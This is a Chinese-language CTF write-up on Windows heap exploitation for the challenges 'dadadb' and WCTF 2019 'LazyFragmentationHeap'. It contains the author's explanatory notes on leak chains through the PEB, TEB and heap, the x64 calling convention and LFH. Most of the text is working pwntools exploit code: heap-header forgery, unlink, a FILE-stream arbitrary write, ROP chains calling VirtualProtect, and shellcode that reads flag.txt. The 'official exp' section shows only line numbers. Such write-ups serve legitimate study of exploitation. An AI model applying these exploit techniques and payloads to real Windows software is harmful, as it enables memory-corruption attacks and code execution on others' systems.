hstdin = readmem(processparameter+0x20)
print "hstdin:",hex(hstdin)
password = bin_base + 0x5658
start = stack_end - 8
ret = 0
ret_addr = bin_base+0x1b60
for i in range(0x1000/8):
addr = start - 8*i
print i
v = readmem(addr)
if v == ret_addr :
ret = addr
print "found!"
break
print "ret:",hex(ret)
if ret == 0 :
exit()
add("lucas",0x200,"king")
add("lucas",0x100,"ggwp")
add("david942j",0xf0,"a"*0x10+'b'*8)
add("mehqq",0xf0,"qq")
add("mehqq2",0xf0,"qq")
add("mehqq3",0xf0,"qq")
free("mehqq2")
free("david942j")
view("lucas")
dump = r.recvuntil("b"*8)[:-8]
davidfd = u64(dump[-16:-8])
davidbk = u64(dump[-8:])
header = u64(dump[-24:-16])
david = davidfd - 0x200
fakechunk = p64(0) + p64(header) + p64(password) + p64(davidbk)
logout()
#forge fake chunk in front of fp
login("ddaa" + "\x00"*4 + p64(header) + p64(0xdeadbeef) + p64(password)[:-2],"phdphd" + "\x00"*2 + p64(header) + p64(password-0x28) + p64(david)[:-2])
add("lucas",0x100,"a"*0x100 + fakechunk)
add("yy",0xf0,'g\n')

fp = password + 0x20
cnt = 0
_ptr = 0
_base = ret
flag = 0x2080
fd = 0
bufsize = 0x100+0x10
obj = p64(_ptr) + p64(_base) + p32(cnt) + p32(flag) + p32(fd) + p32(0) + p64(bufsize) +p64(0)
obj += p64(0xffffffffffffffff) + p32(0xffffffff) + p32(0) + p64(0)*2
add("hh",0xf0,'a'*16 + p64(fp) + p64(0) + obj) # overwrite fp
virtualprotect = kernel32 + 0x1b680
readfile = kernel32 + 0x22680
pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8fb30
buf = bin_base + 0x5800
rop = flat([pop_rdx_rcx_r8_r9_r10_r11,buf,hstdin,0x300,buf-8,0,0,readfile])
rop += flat([pop_rdx_rcx_r8_r9_r10_r11,0x1000,bin_base+0x5000,0x40,buf-8,0,0,virtualprotect,buf])
logout()

# Use FILE stream exploit to do arbitrary writing
login('da','da') # trigger fread to do arbitrary writing
r.send(rop.ljust(0x100,'\x00')) # overwrite return address with rop chain
time.sleep(1)
processheap = peb+0x30
heapcreate = kernel32 + 0x1ec80
ldrheap = ntdll+0x165400
winexec = kernel32+0x5f090
writefile = kernel32 + 0x22770
createfile = kernel32 + 0x222f0
getstdhandle = kernel32+0x1c890
sc = asm("""
xor rcx,rcx
xor rdx,rdx
xor r8,r8
xor r9,r9
xor rdi,rdi
mov cl,2
mov rdi,0x%x
call rdi
mov rdi,0x%x
mov qword ptr [rdi],rax
mov rdi,0x%x
mov qword ptr [rdi],rax
jmp flagx
s :
pop r10
createfile:
mov qword ptr [rsp+0x40],3
mov qword ptr [rsp+0x30],0
mov qword ptr [rsp+0x28],0
lea r12,qword ptr [rsp+0x40]
mov qword ptr [rsp+0x20],3
mov r8,1
xor r9,r9
mov rdx,0x80000000
mov rcx,r10
mov r11,0x%x
call r11
readfile:
mov qword ptr [rsp+0x20],0
xor r9,r9
mov r8,0x80
mov rdx,0x%x
mov rcx,rax
mov r11,0x%x
call r11
getstdhandle:
mov rcx,0xfffffff6
mov r11,0x%x
call r11
writefile:
mov qword ptr [rsp+0x20],0
xor r9,r9
mov r8,0x80
mov rdx,0x%x
mov rcx,rax
mov r11,0x%x
call r11
loop:
jmp loop
flagx:
call s
""" % (heapcreate,processheap,ldrheap,createfile,buf+0x400,readfile,getstdhandle,buf+0x400,writefile))
flagfile = "C:\\\\dadadb\\flag.txt"
r.sendline(sc + flagfile + "\x00")

r.interactive()

反思与收获:

关于shellcode,出题人原话:

After we have arbitrary memory writing we can overwrite return address on stack with ROP. But it disallow child process , you can not create new process.

  • We need use ROP to read flag.txt, but it’s a little complicated.
  • So we use ROP to do VirtualProtect to change page permission so that we can jump to shellcode.

After we can run shellcode, we can read files more easily.

  • We use some function to read file
    • Kernel32 (because we only provide kernel32.dll and ntdll.dll for challenger)
      • CreateFile/ReadFile/GetStdHandle/WriteFile
    • If it use default heap
      • You should create new heap for windows API, otherwise you will encounter heap detection
        • Overwrite _PEB->ProcessHeap/ucrtbase!crtheap/ntdll!ldrpheap with new heap.

如果提供了ucrtbase,那么应该普通的open/read/write应该也是可以的。

如果是default heap的话,shellcode要复杂一点?但是我用栈的没区别吧。。。?

关于VirtualProtect

BOOL VirtualProtect(
LPVOID lpAddress,
DWORD dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
各参数的意义为:

lpAddress,要改变属性的内存起始地址。

dwSize,要改变属性的内存区域大小。

flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。

pflOldProtect,内存原始属性类型保存地址。

修改内存属性成功时函数返回非0,修改失败时返回0。

如果我们能够按照如下参数布置好栈帧的话就可以将shellcode所在内存区域设置为可执行模式。

BOOL VirtualProtect(
shellcode所在内存空间起始地址,
shellcode大小,
0x40,
某个可写地址


常见的泄露链:

  • binbase时:
    • 可用IAT表泄露KERNEL32.dllucrtbase.dllntdll.dll
    • 再用ntdll.dll泄露PebLdr_addr,利用PebLdr_addr泄露Peb,利用Peb泄露Teb,利用Peb+0x30泄露_HEAP,利用Teb泄露stack_end
  • _HEAP时:
    • 可用_HEAP_LOCK(_HEAP+0x2c0)泄露ntdll.dll
    • 在上面第二条的基础上加上几条:利用Peb+0x10泄露binbase,利用Peb+0x20泄露ProcessParameters,有了ProcessParameters可泄露StandardInput(offset=0x20)StandardOutput(offset=0x28)StandardError(offset=0x30)

其他:

CreateFileReadFileGetStdHandleWriteFile这四个写shellcode必备函数都在KERNEL32.dll中,而system函数在ucrtbase.dll中。

当遇到default heap时,采用LFHdefeat random是个好方法。而且LFH较为稳定且检测较少,在后端分配器时,每次free一个chunk时,都会对next_chunk的头部进行检测,我们必须伪造header,但是LFH却没有,所以操作起来方便很多。

Windows平台下的函数可能会出现下溢的情况,也就是underflow,需要防止这种情况出现,rop之前要先抬栈。

windows x64平台fastcall调用约定的主要特性如下:

  • 前四个整型或指针类型参数由RCX,RDX,R8,R9依次传递,前四个浮点类型参数由XMM0,XMM1,XMM2,XMM3依次传递。
  • 调用函数为前四个参数在调用栈上保留相应的空间,称作shadow space或spill slot。即使被调用方没有或小于4个参数,调用函数仍然保留那么多的栈空间,这有助于在某些特殊情况下简化调用约定。
  • 除前四个参数以外的任何其他参数通过栈来传递,从右至左依次入栈。
  • 由调用函数负责清理调用栈。
  • 小于等于64位的整型或指针类型返回值由RAX传递。
  • 浮点返回值由XMM0传递。
  • 更大的返回值(比如结构体),由调用方在栈上分配空间,并有RCX持有该空间的指针并传递给被调用函数,因此整型参数使用的寄存器依次右移一格,实际只可以利用3个寄存器,其余参数入栈。函数调用结束后,RAX返回该空间的指针。
  • RCX,RDX,R8,R9以外,RAXR10R11XMM4XMM5也是易变化的(volatile)寄存器。
  • RBX,RBP, RDI, RSI, R12, R14, R14, and R15寄存器则必须在使用时进行保护。
  • 在寄存器中,所有参数都是右对齐的。小于64位的参数并不进行高位零扩展,也就是高位是无法预测的垃圾数据。

GetStdHandle的三种参数的数值:

STD_ERROR_HANDLE: 0xfffffff4

STD_OUTPUT_HANDLE0xfffffff5

STD_INPUT_HANDLE0xfffffff6

2019WCTF_LazyFragmentationHeap

这题应该是目前来看遇到的最复杂的一题了(如果dadadb是在Default Heap上的话可能也会很复杂),复现完以后感觉还是很多疑惑的地方。。。

遇到的问题与心得:

Default Heap的情况较为复杂,与是否有pdb文件,源码文件等都有关,因为这些东西可能加载到windbg中会影响调试态堆块的布局,以及增大了某个size的堆块开启LFH的概率。因为我之前一直带着pdb调试,然后windbg里面看到的0x60这个size的chunk,早都开启了LFH,导致我没法覆写和伪造fake_file,后来删了pdb文件之后才可以正常进行。

unlink可以在malloc中实现,也可以在free中实现。windowsunlink要比linux的简单许多,因为不需要构造假的chunk,只需要知道指针地址即可。

fake_Flink = &target-8fake_Blink = &target

pioinfo_offset实际上是每次都会随机化的,和堆的状态有关系,所以我们用一次单独的进程泄露pioinfo_offset传给下一次进程使用实际上是没有意义的。。。虽说是随机化,但是实际上值就那么几个,所以我们可以猜一个即可,大概两三次就可能撞上一次。我这里用的是0x8740,还有0x83a0出现的也比较频繁。

关于shellcode,因为在CreateFile/open时,会动态申请chunk出来作为File结构体,所以如果我们的堆已经损坏的话,这一步会报错(不禁感叹linuxopen的幸运),所以shellcode里我们需要用HeapCreateStub创建一个新堆,然后把进程的ProcessHeap(Peb+0x300)改成新堆的地址,之后又分两条路:

  1. KERNEL32流派:需要将ntdll!LdrpHeap的值改为新堆的地址,然后调用CreateFile/GetStdHandle/ReadFile/WriteFile
  2. ucrtbase流派:需要将ucrtbase!_acrt_heap的值改为新堆的地址,然后调用open/_read/_write

_HEAPEncoding每次都会随机化,且无法从_HEAP中读取,直接看_HEAP+0x80处的值是为空的,只能自己泄露chunkheader,然后自己伪造一个加密前的,然后异或回去。

关于泄露在linuxwindows下的一些区别:

linuxtopchunk没有mainarena的地址,所以我们没法直接用new,delete(与topchunk合并),new,show来泄露,但是windows伪topchunk,(实际上没有topchunk这一说,只是一个很大的chunk罢了),的FLinkBLink是含有heap地址的,可以用new,delete(与伪topchunk合并),new,show来泄露_HEPA

windows下的伪随机化:binbase,各种dllbase都是系统重启才会随机化。还有很重要的一点就是很多重要数据结构的地址都是一层套一层的,所以当我们有了一个任意地址读的机会,我们就可以利用这个特点进行分段泄露。因为有时候得到一次任意读的机会需要很复杂的chunk构造,导致后面没法继续利用,分段泄露就可以使我们泄露出所有关键数据后再直接构造利用链。

windows下的真随机化:stackheapPebTeb。这四个东西是每次程序启动都会随机化,所以他们无法用分段泄露的方法来泄露。只能一气喝成。

_HEAP我觉得是winpwn中最重要的数据结构,里面含有很多重要数据,例如:ntdll_basebin_base

一般想后续利用的话,binbase是必须知道的,因为大部分情况泄露KERNEL32ucrtbase都需要用binbase中的IAT表。而后续的rop又必须得用这两个库中的函数。

一般泄露流程为:泄露_HEAP,泄露ntdll,泄露PebLdr

  • 有了PebLdr之后,就可以泄露PebTeb了,Peb中也有binbase。但是因为Peb是真随机化,所以没法分段泄露,所以用_HEAP泄露binbase更好。
  • PebLdr+0x20处为imoml( Ldr.InMemoryOrderModuleList),其指向_HEAP的某个地方,在这个地方+0x28处有binbase存在,我们可以获得其值然后与0xffff按位与得到其偏移,再分段泄露出binbase
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

PEB_LDR_DATA PebLdr
LdrpInitializeProcess //初始化进程时用空项PebLdr创建Ldr
Peb->Ldr = &PebLdr;
InitializeListHead(&PebLdr.InLoadOrderModuleList);
InitializeListHead(&PebLdr.InMemoryOrderModuleList);
InitializeListHead(&PebLdr.InInitializationOrderModuleList);
PebLdr.Length = sizeof(PEB_LDR_DATA);
PebLdr.Initialized = TRUE;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY
+0x020 InMemoryOrderModuleList : _LIST_ENTRY
+0x030 InInitializationOrderModuleList : _LIST_ENTRY
+0x040 EntryInProgress : Ptr64 Void
+0x048 ShutdownInProgress : UChar
+0x050 ShutdownThreadId : Ptr64 Void

0:000> !peb
PEB at 0000000000265000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 0000000000400000
NtGlobalFlag: 0
NtGlobalFlag2: 0
Ldr 00007ffcb0c353c0
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00000000008a2800 . 00000000008a6210
Ldr.InLoadOrderModuleList: 00000000008a2970 . 00000000008a6550
Ldr.InMemoryOrderModuleList: 00000000008a2980 . 00000000008a6560
^
0:000> dt _PEB_LDR_DATA 00007ffcb0c353c0
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x58
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000000`008a2970 - 0x00000000`008a6550 ]
+0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000000`008a2980 - 0x00000000`008a6560 ]
+0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x00000000`008a2800 - 0x00000000`008a6210 ]
+0x040 EntryInProgress : (null)
+0x048 ShutdownInProgress : 0 ''
+0x050 ShutdownThreadId : (null)


00000000`008a2970 00000000008a27e0 00007ffcb0c353d0
00000000`008a2980 00000000008a27f0 00007ffcb0c353e0
00000000`008a2990 0000000000000000 0000000000000000
00000000`008a29a0 0000000000400000 0000000000401500 <== binbase

其他:

溢出不光可以改Flink&Blink来进行unlink,还可与delete配合,伪造chunk_header进行chunkoverlapping,再进一步利用。

t1.PNG

myexp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
#coding:utf-8

from pwn import *

context.arch='amd64'
#context.log_level = 'debug'

ip = '192.168.21.1'
port = 10000
p = 0
p = remote(ip,port)

def new(size,idx):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('ID:')
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('ID:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.send(content)

def delete(idx):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('ID:')
p.sendline(str(idx))

def show(idx):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('ID:')
p.sendline(str(idx))

def open_file():
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Your choice: ')
p.sendline('3')

def read_file(idx,size,content=None):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('ID:')
p.sendline(str(idx))
p.recvuntil('Size:')
p.sendline(str(size))
if(content):
p.send(content)
p.recvuntil('Your choice: ')
p.sendline('3')

#--------------------------------leak ntdll-------------------------------------
while True:
for i in range(6):
open_file()

new(0x88,1)
new(0x88,2)
new(0x88,3)
read_file(1,0x88)
show(1)
p.recvuntil(' al')
Encoding = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00')) ^ 0x0000000908010009
log.success('Encoding = '+hex(Encoding))

payload = '\x11'*0x88 + p64(0x0800000913010012 ^ Encoding)[:6]
edit(1,payload)
delete(2)
new(0x88,4)
show(3)
p.recvuntil('Content: ')
heapbase = (u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))-0x10000) & 0xffffffffffff0000
if(heapbase != 0):
log.success('heapbase = '+hex(heapbase))
else:
p.close()
p = remote('192.168.21.1',10000)
continue
#----------------------------------------------------------------------------------
open_file()
fake_file = p64(0)+p64(0xBEEFDAD0000+0x28+0x20)
fake_file+= p32(0)+p32(0x2080)+p32(0)+p32(0)
fake_file+= p64(0x100)+p64(0)
fake_file+= p64(0xffffffffffffffff)+p32(0xffffffff)+p32(0)
fake_file+= p64(0)+p64(0)
edit(3,fake_file)
read_file(4,8,p64(heapbase+0x2c0))
show(4)
p.recvuntil('Content: ')
ntdll = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))-(0x0007ffcb0c33cd0-0x00007ffcb0ad0000)
log.success('ntdll = '+hex(ntdll))
p.close()
break

PebLdr = ntdll+(0x0007ffcb0c353c0-0x0007ffcb0ad0000)
log.success('PebLdr = '+hex(PebLdr))

#-----------------------------------leak other----------------------------------------------------
def leak(target,heap_offset=0):
global p
p = remote(ip,port)
while True:
try:
for i in range(6):
open_file()

new(0x88,1)
new(0x88,2)
new(0x88,3)
read_file(1,0x88)
show(1)
p.recvuntil(' al')
Encoding = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00')) ^ 0x0000000908010009
#log.success('Encoding = '+hex(Encoding))

payload = '\x11'*0x88 + p64(0x0800000913010012 ^ Encoding)[:6]
edit(1,payload)
delete(2)
new(0x88,4)
show(3)
p.recvuntil('Content: ')
heapbase = (u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))-0x10000) & 0xffffffffffff0000
#log.success('heapbase = '+hex(heapbase))
if(heapbase == 0):
p.close()
p = remote(ip,port)
continue
#----------------------------------------------------------------------------------
open_file()
fake_file = p64(0)+p64(0xBEEFDAD0000+0x28+0x20)
fake_file+= p32(0)+p32(0x2080)+p32(0)+p32(0)
fake_file+= p64(0x100)+p64(0)
fake_file+= p64(0xffffffffffffffff)+p32(0xffffffff)+p32(0)
fake_file+= p64(0)+p64(0)
edit(3,fake_file)
if(heap_offset == 0):
read_file(4,8,p64(target))
else:
read_file(4,8,p64(heapbase+target))
show(4)
p.recvuntil('Content: ')
result = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))
if(result == None):
p.close()
p = remote(ip,port)
continue
else:
p.close()
return result
except EOFError:
p.close()
p = remote(ip,port)
continue
except KeyboardInterrupt:
p.close()
exit(0)

imoml = leak(PebLdr+0x20)
log.success('imoml = '+hex(imoml))
imoml_off = imoml & 0xffff
binbase = leak(imoml_off+0x28,1) - 0x1bf0
log.success('binbase = '+hex(binbase))
KERNEL32 = leak(binbase+0x3000)-(0x00007ffcafb79d80-0x0007ffcafb60000)
log.success('KERNEL32 = '+hex(KERNEL32))
ucrtbase = leak(binbase+0x30b0)-(0x00007ffcad87c7b0-0x0007ffcad870000)
log.success('ucrtbase = '+hex(ucrtbase))
pioinfo_ptr = leak(ucrtbase+0xeb750)
log.success('pioinfo_ptr = '+hex(pioinfo_ptr))
pioinfo_offset = pioinfo_ptr & 0xffff
log.success('pioinfo_offset = '+hex(pioinfo_offset))

#-------------------------------------------unlink-----------------------------------------
'''
ntdll = 0x7ffcb0ad0000
PebLdr = 0x7ffcb0c353c0
binbase = 0x7ff7427c0000
KERNEL32 = 0x7ffcafb60000
ucrtbase = 0x7ffcad870000
'''
p = remote(ip,port)
while True:
try:
for i in range(6):
open_file()

new(0x88,1)
new(0x88,2)
new(0xe8,3)
new(0x88,5)
new(0x88,6)
read_file(1,0x88)
show(1)
p.recvuntil(' al')
Encoding = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00')) ^ 0x0000000908010009
log.success('Encoding = '+hex(Encoding))

payload = '\x11'*0x88 + p64(0x0800000920010021 ^ Encoding)[:6]
edit(1,payload)
delete(2)
new(0x88,4)
show(3)
p.recvuntil('Content: ')
heapbase = (u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))-0x10000) & 0xffffffffffff0000
if(heapbase != 0):
log.success('heapbase = '+hex(heapbase))
else:
p.close()
p = remote('192.168.21.1',10000)
continue
#----------------------------------------------------------------------------------
open_file()
new(0x88,7)
new(0x88,0x0800000613010012 ^ Encoding)

fake_file = p64(0)+p64(0xBEEFDAD0000+0x28+0x20)
fake_file+= p32(0)+p32(0x2080)+p32(0)+p32(0)
fake_file+= p64(0x100)+p64(0)
fake_file+= p64(0xffffffffffffffff)+p32(0xffffffff)+p32(0)
fake_file+= p64(0)+p64(0)
edit(3,fake_file+p64(0)+p64(0x0800000613010012 ^ Encoding))
delete(7)
new(0x88,9)

#改ucrtbase!_pioinfo[0].flag
read_file(4,8,p64(heapbase+0x8740+0x38))
edit(4,p8(0xc1))

edit(5,p64(0xBEEFDAD0000+6*0x28+0x20-0x8)+p64(0xBEEFDAD0000+6*0x28+0x20))
new(0x88,10)

edit(0x0800000613010012 ^ Encoding, flat([0, 0xDDAABEEF1ACD, 0x200, 100, 0xDDAABEEF1ACD, 0xBEEFDAD0000]))
payload = p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(1)+p64(0xDDAABEEF1ACD)
payload+= p64(0xBEEFDAD0000)
payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(2)+p64(0xDDAABEEF1ACD)
payload+= p64(PebLdr-0x38)
edit(100,payload)
show(2)
p.recvuntil('Content: ')
Peb = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00')) - 0x340
Teb = Peb + 0x1000
log.success('Peb = '+hex(Peb))
log.success('Teb = '+hex(Teb))

payload = p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(1)+p64(0xFACE6DA61A35C767)
payload+= p64(0xBEEFDAD0000)
payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(2)+p64(0xDDAABEEF1ACD)
payload+= p64(Teb+0xa)
edit(1,payload)
show(2)
p.recvuntil('Content: ')
stack = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00')) << 16
log.success('stack = '+hex(stack))

main_ret_content = binbase + 0x1B78
main_ret_addr = 0
key = 0
for addr in range(stack-0x800,stack,9*0x8):
if key == 1:
break
log.info('addr = '+hex(addr))
payload = p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(1)+p64(0xFACE6DA61A35C767)
payload+= p64(0xBEEFDAD0000)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(2)+p64(0xDDAABEEF1ACD)
payload+= p64(addr)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(3)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x08)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(4)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x10)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(5)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x18)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(6)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x20)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(7)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x28)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(8)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x30)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(9)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x38)

payload+= p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(10)+p64(0xDDAABEEF1ACD)
payload+= p64(addr+0x40)
edit(1,payload)
if(main_ret_addr == 0):
for i in range(2,11):
show(i)
p.recvuntil('Content: ')
result = u64(p.recvuntil('\r\n',drop=True)[:8].ljust(8,'\x00'))
if(result == main_ret_content):
main_ret_addr = addr+(i-2)*0x8
key = 1
break

if(main_ret_addr == 0):
log.info('bad luck....')
exit(0)

log.success('main_ret_addr = '+hex(main_ret_addr))
#--------------------------------------------------------------
pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8FB20
VirtualProtectStub = KERNEL32 + 0x1b680
HeapCreateStub = KERNEL32 + (0x00007ffcafb7ec80-0x00007ffcafb60000)
ProcessHeap = Peb+0x30
_open = ucrtbase + (0x0007ffcad912a30-0x00007ffcad870000)
_read = ucrtbase + 0x16270
_sleep = ucrtbase + (0x0007ffcad9219d0-0x00007ffcad870000)
_write = ucrtbase + (0x00007ffcad885bf0-0x00007ffcad870000)
_exit = ucrtbase + (0x00007ffcad8e06d0-0x00007ffcad870000)
_acrt_heap = ucrtbase + 0xeb550
#00007ffc`ad95b550 ucrtbase!_acrt_heap = <no type information>
buf = binbase + 0x5e00
shellcode_addr = binbase + 0x5800
shellcode = '\x90'*0x20 + asm("""
xor rcx,rcx
xor rdx,rdx
xor r8,r8
xor r9,r9
xor rdi,rdi
mov cl,2
mov rdi,0x%x
call rdi
mov rdi,0x%x
mov qword ptr [rdi],rax
mov rdi,0x%x
mov qword ptr [rdi],rax
sub rsp,0x1000
open :
mov rdi,0x%x
mov rcx,0x%x
xor rdx,rdx
call rdi
read:
mov rcx,rax
mov rdx,0x%x
mov rdi,0x%x
mov r8,0x40
call rdi
write :
mov r8,rax
mov rdx,0x%x
xor rcx,rcx
inc rcx
mov rdi,0x%x
call rdi
sleep:
mov rcx,20
mov rdi,0x%x
call rdi
exit:
mov rdi,0x%x
call rdi
""" % (HeapCreateStub,ProcessHeap,_acrt_heap,_open,buf,buf,_read,buf,_write,_sleep,_exit))


rop = p64(pop_rdx_rcx_r8_r9_r10_r11)
rop+= p64(0x1000)
rop+= p64(binbase+0x5000)
rop+= p64(0x40)
rop+= p64(shellcode_addr-8)
rop+= p64(0)
rop+= p64(0)
rop+= p64(VirtualProtectStub)
rop+= p64(shellcode_addr)

payload = p64(0xDDAABEEF1ACD)+p64(0x1000)
payload+= p64(1)+p64(0xFACE6DA61A35C767)
payload+= p64(0xBEEFDAD0000)

payload+= p64(0xDDAABEEF1ACD)+p64(0x200)
payload+= p64(2)+p64(0xDDAABEEF1ACD)
payload+= p64(shellcode_addr)

payload+= p64(0xDDAABEEF1ACD)+p64(0x200)
payload+= p64(3)+p64(0xDDAABEEF1ACD)
payload+= p64(buf)

payload+= p64(0xDDAABEEF1ACD)+p64(0x200)
payload+= p64(4)+p64(0xDDAABEEF1ACD)
payload+= p64(main_ret_addr-0x80)
edit(1,payload)
edit(2,shellcode)
edit(3,'flag.txt')
edit(4,rop)
break
except EOFError:
p.close()
p = remote(ip,port)
continue
except KeyboardInterrupt:
p.close()
exit(0)

p.interactive()

官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
